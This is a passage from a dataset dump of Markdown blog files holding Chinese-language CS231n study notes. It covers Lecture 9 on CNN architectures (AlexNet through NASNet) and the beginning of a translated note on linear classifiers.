src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.588833212852478, "alphanum_fraction": 0.7096635699272156, "avg_line_length": 21.45337677001953, "blob_id": "d71ac79ffd39ecaebadd1f9fc9f252e858439234", "content_id": "ec01fafdf3c5cca30a76ac00ea6cfde9349ffcb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7245, "license_type": "no_license", "max_line_length": 394, "num_lines": 311, "path": "/blog/cs231n/cs231n_9.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.9\ndate: 2018-08-31\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=16)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 9. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [AlexNet](https://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf) ([ๆˆ‘็š„็ฌ”่ฎฐ](../paper_summary/ImageNet Classification with Deep Convolutional Neural Networks.html))\n> - [VGGNet](https://arxiv.org/abs/1409.1556), [GoogLeNet](https://arxiv.org/abs/1409.4842), [ResNet](https://arxiv.org/abs/1512.03385)\n\n\n\n\n\n# Lecture 9. CNN Architectures\n\n\n\n## Review: LeNet-5\n\n[LeCun et al., 1998]\n\n![](https://i.loli.net/2018/08/31/5b88ad25c0691.png)\n\n\n\n## Case Studies\n\n\n\n### AlexNet\n\n[Krizhevsky et al. 2012]\n\n็ฌฌไธ€ไธชๅœจ ImageNet ็š„ๅˆ†็ฑปๆฏ”่ต›ไธญ่Žทๅพ—ๆˆๅŠŸ็š„ๅคงๅž‹ๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚\n\n![](https://i.loli.net/2018/08/31/5b88b01428447.png)\n\n![](https://i.loli.net/2018/08/31/5b88af9fcdd5d.png)\n\n\n\n### ZFNet\n\n[Zeiler and Fergus, 2013]\n\n- ImageNet Large Scale Visual Recognition Challenge (ILSVRC) winners\n\n![image-20180831111001702](assets/image-20180831111001702.png)\n\n![](https://i.loli.net/2018/08/31/5b88b1e037102.png)\n\n![](https://i.loli.net/2018/08/31/5b88b1eeb5222.png)\n\n\n\n\n\n### VGG\n\n[Simonyan and Zisserman, 2014]\n\n- ImageNet Large Scale Visual Recognition Challenge (ILSVRC) winners\n\n![](https://i.loli.net/2018/08/31/5b88b2470f784.png)\n\n![](https://i.loli.net/2018/08/31/5b88d02227e00.png)\n\n- Q๏ผšWhy use smaller fileters? (3x3 conv)\n - Stack of three 3x3 conv (stride 1) layers has same **effective receptive field** as one 7x7 conv layer\n - But deeper, more non-linearities\n - And fewer parameters: $3 * (3^2C^2)$ vs. $7^2C^2$ for C channels per layer\n- Q: What is the effective receptive field of three 3x3 conv (stride 1) layers?\n - See this post: [ๅ…ณไบŽๆ„Ÿๅ—้‡Ž (Receptive field) ไฝ ่ฏฅ็Ÿฅ้“็š„ไบ‹](../posts/ๅ…ณไบŽๆ„Ÿๅ—้‡Ž (Receptive field) ไฝ ่ฏฅ็Ÿฅ้“็š„ไบ‹.html)\n- \n\n![image-20180831132749679](assets/image-20180831132749679.png)\n\n\n\n- Details\n - ILSVRC'14 2nd in classification, 1st in localization\n - Similar training procedure as Krizhevsky 2012\n - No Local Response Normalisation (LRN)\n - Use VGG16 or VGG19 (VGG19 only slightly better, more memory)\n - Use ensembles for best results\n - FC7 features generalize well to other tasks\n\n\n\n\n\n\n\n### GoogLeNet\n\n[Szegedy et al., 2014]\n\n**Deeper networks, computational efficiency**\n\n![](https://i.loli.net/2018/08/31/5b88d51bc5a0d.png)\n\n- **\"Inception module\"**\n\n - design a good local network topology (network within a network) and then stack these modules on top of each other\n - Apply parallel filter operations on the input from previous layer:\n - Multiple receptive field sizes for convolution (1x1, 3x3, 5x5)\n - Pooling operation (3x3)\n - Concatenate all filter outputs together depth-wise\n\n ![](https://i.loli.net/2018/08/31/5b88d5a685ca6.png)\n\n - Q๏ผšWhat is the problem with this?![](https://i.loli.net/2018/08/31/5b88f569ebfd3.png)\n\n - **Solutions๏ผš**\"bottlenect\" layers that use 1x1 convolutions to reduce feature depth\n\n ![](https://i.loli.net/2018/08/31/5b88f5e0b6157.png)\n\nๆœ€ๅŽ๏ผŒ\n\n![](https://i.loli.net/2018/08/31/5b88f72d1c3fb.png)\n\n\n\n\n\n### ResNet\n\n- **ImageNet Large Scale Visual Recognition Challenge (ILSVRC) winners**\n\n![](https://i.loli.net/2018/08/31/5b88f815598e8.png)\n\n- [He et al., 2015]\n\n ![](https://i.loli.net/2018/08/31/5b88fa8036961.png)\n\n- What happens when we continue stacking deeper layers on a \"plain\" convolutional neural networks?\n\n - The deeper model performs worse, but itโ€™s not caused by overfitting!\n\n- **Hypothesis:** the problem is an optimization problem, deeper models are harder to optimize.\n\n - The deeper model should be able to perform at least as well as the shallower model.\n - A solution by construction is copying the learned layers from the shallower model and setting additional layers to identity mapping.\n\n- **Solution๏ผš**Use network layers to fit a residual mapping instead of directly trying to fit a desired underlying mapping.\n\n ![](https://i.loli.net/2018/08/31/5b88fbc5ab843.png)\n\nๆœ€ๅŽ๏ผŒ\n\n![](https://i.loli.net/2018/08/31/5b88fd4da4820.png)\n\nไนŸ็”จ็“ถ้ขˆๅฑ‚๏ผš\n\n![](https://i.loli.net/2018/08/31/5b88fda293fac.png)\n\nๆœ€ๅŽ็ป™ๅ‡บๅฎž่ทต่กจ็Žฐ๏ผš\n\n![](https://i.loli.net/2018/08/31/5b88fde953b33.png)\n\n\n\n\n\n## An Analysis of Deep Neural Network Models for Practical Applications, 2017\n\n![](https://i.loli.net/2018/08/31/5b890a7f2d6d1.png)\n\n![](https://i.loli.net/2018/08/31/5b890a9db96a0.png)\n\n\n\n\n\n\n\n## Other architectures to know...\n\n### NiN (Network in Network)\n\n[Lin et al. 2014]\n\n![](https://i.loli.net/2018/08/31/5b891e99aad5f.png)\n\n\n\n\n\n## Improving ResNets... \n\n### Identity Mappings in Deep Residual Networks\n\n[He et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b891f098f7f7.png)\n\n\n\n### Wide ResNet\n\n[Zagoruyko et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b891f3549cfe.png)\n\n\n\n### ResNeXT\n\n[Xie et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b891f81e4362.png)\n\n\n\n### Stochastic Depth\n\n[Huang et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b891fb1d7dd1.png)\n\n### \"Good Practices for Deep Feature Fusion\"\n\n[Shao et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b89202b18894.png)\n\n![](https://i.loli.net/2018/08/31/5b89204a2b7ae.png)\n\n### Squeeze-and-Excitation Network (SENet)\n\n[Hu et al. 2017]\n\n![](https://i.loli.net/2018/08/31/5b892057bab0c.png)\n\n![](https://i.loli.net/2018/08/31/5b8921579f2d7.png)\n\n\n\n## Beyond ResNets... \n\n### FractalNet: Ultra-Deep Neural Networks without Residuals\n\n[Larsson et al. 2017]\n\n![](https://i.loli.net/2018/08/31/5b8921999d9ae.png)\n\n\n\n### DenseNet: Densely Connected Convolutional Networks\n\n[Huang et al. 2017]\n\n![](https://i.loli.net/2018/08/31/5b8921f208d21.png)\n\n## Efficient networks...\n\n### SqueezeNet: AlexNet-level Accuracy With 50x Fewer Parameters and <0.5Mb Model Size\n\n[landola et al. 2017]\n\n![](https://i.loli.net/2018/08/31/5b89225540064.png)\n\n\n\n## Meta-learning: Learning to learn network architectures...\n\n### NASNet (Neural Architecture Search with Reinforcement Learning)\n\n[Zoph et al. 2016]\n\n![](https://i.loli.net/2018/08/31/5b8922d461ee2.png)\n\n### Learning Transferable Architectures for Scalable Image Recognition\n\n[Zoph et al. 2017]\n\n![](https://i.loli.net/2018/08/31/5b892320a3d26.png)\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_9.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.733220100402832, "alphanum_fraction": 0.7700226306915283, "avg_line_length": 46.854679107666016, "blob_id": "3f064d4177d72823feeb02406de35f41b1483ec8", "content_id": "1cde8c03e9be3c17d6c61d9afea7513397d2bb48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 39882, "license_type": "no_license", "max_line_length": 629, "num_lines": 406, "path": "/blog/cs231n/CS231n_linear_classification_note.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Linear Classification Note\ndate: 2018-08-19\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผš็บฟๆ€งๅˆ†็ฑป\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/20918580?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n>\n> ๏ผˆไธชไบบๅกซๅ……็š„ๅ†…ๅฎนๅŒ…ๆ‹ฌ๏ผšไธ‹ๅˆ’็บฟใ€ๆณจๆ˜Žโ€œ่‡ชๆณจโ€๏ผ‰\n\n> **่ฏ‘่€…ๆณจ**๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Linear Classification Note](http://cs231n.github.io/linear-classify/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/gong-zi-jia-57)ๅ’Œ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ็บฟๆ€งๅˆ†็ฑปๅ™จ็ฎ€ไป‹\n\n- ็บฟๆ€ง่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ\n\n- ้˜ๆ˜Ž็บฟๆ€งๅˆ†็ฑปๅ™จ\n\n- ๆŸๅคฑๅ‡ฝๆ•ฐ\n\n- - ๅคš็ฑปSVM\n - Softmaxๅˆ†็ฑปๅ™จ\n - SVMๅ’ŒSoftmax็š„ๆฏ”่พƒ\n\n- ๅŸบไบŽWeb็š„ๅฏไบคไบ’็บฟๆ€งๅˆ†็ฑปๅ™จๅŽŸๅž‹\n\n- ๅฐ็ป“\n\n## ็บฟๆ€งๅˆ†็ฑป\n\nไธŠไธ€็ฏ‡็ฌ”่ฎฐไป‹็ปไบ†ๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜ใ€‚ๅ›พๅƒๅˆ†็ฑป็š„ไปปๅŠก๏ผŒๅฐฑๆ˜ฏไปŽๅทฒๆœ‰็š„ๅ›บๅฎšๅˆ†็ฑปๆ ‡็ญพ้›†ๅˆไธญ้€‰ๆ‹ฉไธ€ไธชๅนถๅˆ†้…็ป™ไธ€ๅผ ๅ›พๅƒใ€‚ๆˆ‘ไปฌ่ฟ˜ไป‹็ปไบ†k-Nearest Neighbor ๏ผˆk-NN๏ผ‰ๅˆ†็ฑปๅ™จ๏ผŒ่ฏฅๅˆ†็ฑปๅ™จ็š„ๅŸบๆœฌๆ€ๆƒณๆ˜ฏ้€š่ฟ‡ๅฐ†ๆต‹่ฏ•ๅ›พๅƒไธŽ่ฎญ็ปƒ้›†ๅธฆๆ ‡็ญพ็š„ๅ›พๅƒ่ฟ›่กŒๆฏ”่พƒ๏ผŒๆฅ็ป™ๆต‹่ฏ•ๅ›พๅƒๆ‰“ไธŠๅˆ†็ฑปๆ ‡็ญพใ€‚k-Nearest Neighborๅˆ†็ฑปๅ™จๅญ˜ๅœจไปฅไธ‹ไธ่ถณ๏ผš\n\n- ๅˆ†็ฑปๅ™จๅฟ…้กป*่ฎฐไฝ*ๆ‰€ๆœ‰่ฎญ็ปƒๆ•ฐๆฎๅนถๅฐ†ๅ…ถๅญ˜ๅ‚จ่ตทๆฅ๏ผŒไปฅไพฟไบŽๆœชๆฅๆต‹่ฏ•ๆ•ฐๆฎ็”จไบŽๆฏ”่พƒใ€‚่ฟ™ๅœจๅญ˜ๅ‚จ็ฉบ้—ดไธŠๆ˜ฏไฝŽๆ•ˆ็š„๏ผŒๆ•ฐๆฎ้›†็š„ๅคงๅฐๅพˆๅฎนๆ˜“ๅฐฑไปฅGB่ฎกใ€‚\n- ๅฏนไธ€ไธชๆต‹่ฏ•ๅ›พๅƒ่ฟ›่กŒๅˆ†็ฑป้œ€่ฆๅ’Œๆ‰€ๆœ‰่ฎญ็ปƒๅ›พๅƒไฝœๆฏ”่พƒ๏ผŒ็ฎ—ๆณ•่ฎก็ฎ—่ต„ๆบ่€—่ดน้ซ˜ใ€‚\n\n**ๆฆ‚่ฟฐ**๏ผšๆˆ‘ไปฌๅฐ†่ฆๅฎž็Žฐไธ€็งๆ›ดๅผบๅคง็š„ๆ–นๆณ•ๆฅ่งฃๅ†ณๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜๏ผŒ่ฏฅๆ–นๆณ•ๅฏไปฅ่‡ช็„ถๅœฐๅปถไผธๅˆฐ็ฅž็ป็ฝ‘็ปœๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœไธŠใ€‚่ฟ™็งๆ–นๆณ•ไธป่ฆๆœ‰ไธค้ƒจๅˆ†็ป„ๆˆ๏ผšไธ€ไธชๆ˜ฏ**่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผˆscore function๏ผ‰**๏ผŒๅฎƒๆ˜ฏๅŽŸๅง‹ๅ›พๅƒๆ•ฐๆฎๅˆฐ็ฑปๅˆซๅˆ†ๅ€ผ็š„ๆ˜ ๅฐ„ใ€‚ๅฆไธ€ไธชๆ˜ฏ**ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆloss function๏ผ‰**๏ผŒๅฎƒๆ˜ฏ็”จๆฅ้‡ๅŒ–้ข„ๆต‹ๅˆ†็ฑปๆ ‡็ญพ็š„ๅพ—ๅˆ†ไธŽ็œŸๅฎžๆ ‡็ญพไน‹้—ดไธ€่‡ดๆ€ง็š„ใ€‚่ฏฅๆ–นๆณ•ๅฏ่ฝฌๅŒ–ไธบไธ€ไธชๆœ€ไผ˜ๅŒ–้—ฎ้ข˜๏ผŒๅœจๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹ไธญ๏ผŒๅฐ†้€š่ฟ‡ๆ›ดๆ–ฐ่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ็š„ๅ‚ๆ•ฐๆฅๆœ€ๅฐๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผใ€‚\n\n## ไปŽๅ›พๅƒๅˆฐๆ ‡็ญพๅˆ†ๅ€ผ็š„ๅ‚ๆ•ฐๅŒ–ๆ˜ ๅฐ„\n\n่ฏฅๆ–นๆณ•็š„็ฌฌไธ€้ƒจๅˆ†ๅฐฑๆ˜ฏๅฎšไน‰ไธ€ไธช่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ไธชๅ‡ฝๆ•ฐๅฐ†ๅ›พๅƒ็š„ๅƒ็ด ๅ€ผๆ˜ ๅฐ„ไธบๅ„ไธชๅˆ†็ฑป็ฑปๅˆซ็š„ๅพ—ๅˆ†๏ผŒๅพ—ๅˆ†้ซ˜ไฝŽไปฃ่กจๅ›พๅƒๅฑžไบŽ่ฏฅ็ฑปๅˆซ็š„ๅฏ่ƒฝๆ€ง้ซ˜ไฝŽใ€‚ไธ‹้ขไผšๅˆฉ็”จไธ€ไธชๅ…ทไฝ“ไพ‹ๅญๆฅๅฑ•็คบ่ฏฅๆ–นๆณ•ใ€‚็Žฐๅœจๅ‡่ฎพๆœ‰ไธ€ไธชๅŒ…ๅซๅพˆๅคšๅ›พๅƒ็š„่ฎญ็ปƒ้›†$x_i\\in R^D$๏ผŒๆฏไธชๅ›พๅƒ้ƒฝๆœ‰ไธ€ไธชๅฏนๅบ”็š„ๅˆ†็ฑปๆ ‡็ญพ$y_i$ใ€‚่ฟ™้‡Œ$i=1,2,\\dots,N$ๅนถไธ”$y_i\\in1\\dots K$ใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌๆœ‰**N**ไธชๅ›พๅƒๆ ทไพ‹๏ผŒๆฏไธชๅ›พๅƒ็š„็ปดๅบฆๆ˜ฏ**D**๏ผŒๅ…ฑๆœ‰**K**็งไธๅŒ็š„ๅˆ†็ฑปใ€‚\n\nไธพไพ‹ๆฅ่ฏด๏ผŒๅœจCIFAR-10ไธญ๏ผŒๆˆ‘ไปฌๆœ‰ไธ€ไธช**N**=50000็š„่ฎญ็ปƒ้›†๏ผŒๆฏไธชๅ›พๅƒๆœ‰**D**=32x32x3=3072ไธชๅƒ็ด ๏ผŒ่€Œ**K**=10๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅ›พ็‰‡่ขซๅˆ†ไธบ10ไธชไธๅŒ็š„็ฑปๅˆซ๏ผˆ็‹—๏ผŒ็Œซ๏ผŒๆฑฝ่ฝฆ็ญ‰๏ผ‰ใ€‚ๆˆ‘ไปฌ็Žฐๅœจๅฎšไน‰่ฏ„ๅˆ†ๅ‡ฝๆ•ฐไธบ๏ผš$f:R^D\\rightarrow R^K$๏ผŒ่ฏฅๅ‡ฝๆ•ฐๆ˜ฏๅŽŸๅง‹ๅ›พๅƒๅƒ็ด ๅˆฐๅˆ†็ฑปๅˆ†ๅ€ผ็š„ๆ˜ ๅฐ„ใ€‚\n\n**็บฟๆ€งๅˆ†็ฑปๅ™จ**๏ผšๅœจๆœฌๆจกๅž‹ไธญ๏ผŒๆˆ‘ไปฌไปŽๆœ€็ฎ€ๅ•็š„ๆฆ‚็Ž‡ๅ‡ฝๆ•ฐๅผ€ๅง‹๏ผŒไธ€ไธช็บฟๆ€งๆ˜ ๅฐ„๏ผš\n$$\nf(x_i,W,b)=Wx_i+b\n$$\nๅœจไธŠ้ข็š„ๅ…ฌๅผไธญ๏ผŒๅ‡่ฎพๆฏไธชๅ›พๅƒๆ•ฐๆฎ้ƒฝ่ขซๆ‹‰้•ฟไธบไธ€ไธช้•ฟๅบฆไธบD็š„ๅˆ—ๅ‘้‡๏ผŒๅคงๅฐไธบ[D x 1]ใ€‚ๅ…ถไธญๅคงๅฐไธบ[K x D]็š„็Ÿฉ้˜ต**W**ๅ’Œๅคงๅฐไธบ[K x 1]ๅˆ—ๅ‘้‡**b**ไธบ่ฏฅๅ‡ฝๆ•ฐ็š„**ๅ‚ๆ•ฐ๏ผˆparameters๏ผ‰**ใ€‚่ฟ˜ๆ˜ฏไปฅCIFAR-10ไธบไพ‹๏ผŒ$x_i$ๅฐฑๅŒ…ๅซไบ†็ฌฌiไธชๅ›พๅƒ็š„ๆ‰€ๆœ‰ๅƒ็ด ไฟกๆฏ๏ผŒ่ฟ™ไบ›ไฟกๆฏ่ขซๆ‹‰ๆˆไธบไธ€ไธช[3072 x 1]็š„ๅˆ—ๅ‘้‡๏ผŒ**W**ๅคงๅฐไธบ[10x3072]๏ผŒ**b**็š„ๅคงๅฐไธบ[10x1]ใ€‚ๅ› ๆญค๏ผŒ3072ไธชๆ•ฐๅญ—๏ผˆๅŽŸๅง‹ๅƒ็ด ๆ•ฐๅ€ผ๏ผ‰่พ“ๅ…ฅๅ‡ฝๆ•ฐ๏ผŒๅ‡ฝๆ•ฐ่พ“ๅ‡บ10ไธชๆ•ฐๅญ—๏ผˆไธๅŒๅˆ†็ฑปๅพ—ๅˆฐ็š„ๅˆ†ๅ€ผ๏ผ‰ใ€‚ๅ‚ๆ•ฐ**W**่ขซ็งฐไธบ**ๆƒ้‡๏ผˆweights๏ผ‰**ใ€‚**b**่ขซ็งฐไธบ**ๅๅทฎๅ‘้‡๏ผˆbias vector๏ผ‰**๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒๅฝฑๅ“่พ“ๅ‡บๆ•ฐๅ€ผ๏ผŒไฝ†ๆ˜ฏๅนถไธๅ’ŒๅŽŸๅง‹ๆ•ฐๆฎ$x_i$ไบง็”Ÿๅ…ณ่”ใ€‚ๅœจๅฎž้™…ๆƒ…ๅ†ตไธญ๏ผŒไบบไปฌๅธธๅธธๆทท็”จ**ๆƒ้‡**ๅ’Œ**ๅ‚ๆ•ฐ**่ฟ™ไธคไธชๆœฏ่ฏญใ€‚\n\n้œ€่ฆๆณจๆ„็š„ๅ‡ ็‚น๏ผš\n\n- ้ฆ–ๅ…ˆ๏ผŒไธ€ไธชๅ•็‹ฌ็š„็Ÿฉ้˜ตไน˜ๆณ•$Wx_i$ๅฐฑ้ซ˜ๆ•ˆๅœฐๅนถ่กŒ่ฏ„ไผฐ10ไธชไธๅŒ็š„ๅˆ†็ฑปๅ™จ๏ผˆๆฏไธชๅˆ†็ฑปๅ™จ้’ˆๅฏนไธ€ไธชๅˆ†็ฑป๏ผ‰๏ผŒๅ…ถไธญๆฏไธช็ฑป็š„ๅˆ†็ฑปๅ™จๅฐฑๆ˜ฏW็š„ไธ€ไธช่กŒๅ‘้‡ใ€‚\n- ๆณจๆ„ๆˆ‘ไปฌ่ฎคไธบ่พ“ๅ…ฅๆ•ฐๆฎ$(x_i,y_i)$ๆ˜ฏ็ป™ๅฎšไธ”ไธๅฏๆ”นๅ˜็š„๏ผŒไฝ†ๅ‚ๆ•ฐ**W**ๅ’Œ**b**ๆ˜ฏๅฏๆŽงๅˆถๆ”นๅ˜็š„ใ€‚ๆˆ‘ไปฌ็š„็›ฎๆ ‡ๅฐฑๆ˜ฏ้€š่ฟ‡่ฎพ็ฝฎ่ฟ™ไบ›ๅ‚ๆ•ฐ๏ผŒไฝฟๅพ—่ฎก็ฎ—ๅ‡บๆฅ็š„ๅˆ†็ฑปๅˆ†ๅ€ผๆƒ…ๅ†ตๅ’Œ่ฎญ็ปƒ้›†ไธญๅ›พๅƒๆ•ฐๆฎ็š„็œŸๅฎž็ฑปๅˆซๆ ‡็ญพ็›ธ็ฌฆใ€‚ๅœจๆŽฅไธ‹ๆฅ็š„่ฏพ็จ‹ไธญ๏ผŒๆˆ‘ไปฌๅฐ†่ฏฆ็ป†ไป‹็ปๅฆ‚ไฝ•ๅšๅˆฐ่ฟ™ไธ€็‚น๏ผŒไฝ†ๆ˜ฏ็›ฎๅ‰ๅช้œ€่ฆ็›ด่ง‚ๅœฐ่ฎฉๆญฃ็กฎๅˆ†็ฑป็š„ๅˆ†ๅ€ผๆฏ”้”™่ฏฏๅˆ†็ฑป็š„ๅˆ†ๅ€ผ้ซ˜ๅณๅฏใ€‚\n- ่ฏฅๆ–นๆณ•็š„ไธ€ไธชไผ˜ๅŠฟๆ˜ฏ่ฎญ็ปƒๆ•ฐๆฎๆ˜ฏ็”จๆฅๅญฆไน ๅˆฐๅ‚ๆ•ฐ**W**ๅ’Œ**b**็š„๏ผŒไธ€ๆ—ฆ่ฎญ็ปƒๅฎŒๆˆ๏ผŒ่ฎญ็ปƒๆ•ฐๆฎๅฐฑๅฏไปฅไธขๅผƒ๏ผŒ็•™ไธ‹ๅญฆไน ๅˆฐ็š„ๅ‚ๆ•ฐๅณๅฏใ€‚่ฟ™ๆ˜ฏๅ› ไธบไธ€ไธชๆต‹่ฏ•ๅ›พๅƒๅฏไปฅ็ฎ€ๅ•ๅœฐ่พ“ๅ…ฅๅ‡ฝๆ•ฐ๏ผŒๅนถๅŸบไบŽ่ฎก็ฎ—ๅ‡บ็š„ๅˆ†็ฑปๅˆ†ๅ€ผๆฅ่ฟ›่กŒๅˆ†็ฑปใ€‚\n- ๆœ€ๅŽ๏ผŒๆณจๆ„ๅช้œ€่ฆๅšไธ€ไธช็Ÿฉ้˜ตไน˜ๆณ•ๅ’Œไธ€ไธช็Ÿฉ้˜ตๅŠ ๆณ•ๅฐฑ่ƒฝๅฏนไธ€ไธชๆต‹่ฏ•ๆ•ฐๆฎๅˆ†็ฑป๏ผŒ่ฟ™ๆฏ”k-NNไธญๅฐ†ๆต‹่ฏ•ๅ›พๅƒๅ’Œๆ‰€ๆœ‰่ฎญ็ปƒๆ•ฐๆฎๅšๆฏ”่พƒ็š„ๆ–นๆณ•ๅฟซๅคšไบ†ใ€‚\n\n> *้ข„ๅ‘Š๏ผšๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ˜ ๅฐ„ๅ›พๅƒๅƒ็ด ๅ€ผๅˆฐๅˆ†็ฑปๅˆ†ๅ€ผ็š„ๆ–นๆณ•ๅ’ŒไธŠ้ขไธ€ๆ ท๏ผŒไฝ†ๆ˜ฏๆ˜ ๅฐ„**(f)**ๅฐฑ่ฆๅคๆ‚ๅคšไบ†๏ผŒๅ…ถๅŒ…ๅซ็š„ๅ‚ๆ•ฐไนŸๆ›ดๅคšใ€‚*\n\n## ็†่งฃ็บฟๆ€งๅˆ†็ฑปๅ™จ\n\n็บฟๆ€งๅˆ†็ฑปๅ™จ่ฎก็ฎ—ๅ›พๅƒไธญ3ไธช้ขœ่‰ฒ้€š้“ไธญๆ‰€ๆœ‰ๅƒ็ด ็š„ๅ€ผไธŽๆƒ้‡็š„็Ÿฉ้˜ตไน˜๏ผŒไปŽ่€Œๅพ—ๅˆฐๅˆ†็ฑปๅˆ†ๅ€ผใ€‚ๆ นๆฎๆˆ‘ไปฌๅฏนๆƒ้‡่ฎพ็ฝฎ็š„ๅ€ผ๏ผŒๅฏนไบŽๅ›พๅƒไธญ็š„ๆŸไบ›ไฝ็ฝฎ็š„ๆŸไบ›้ขœ่‰ฒ๏ผŒๅ‡ฝๆ•ฐ่กจ็Žฐๅ‡บๅ–œๅฅฝๆˆ–่€…ๅŽŒๆถ๏ผˆๆ 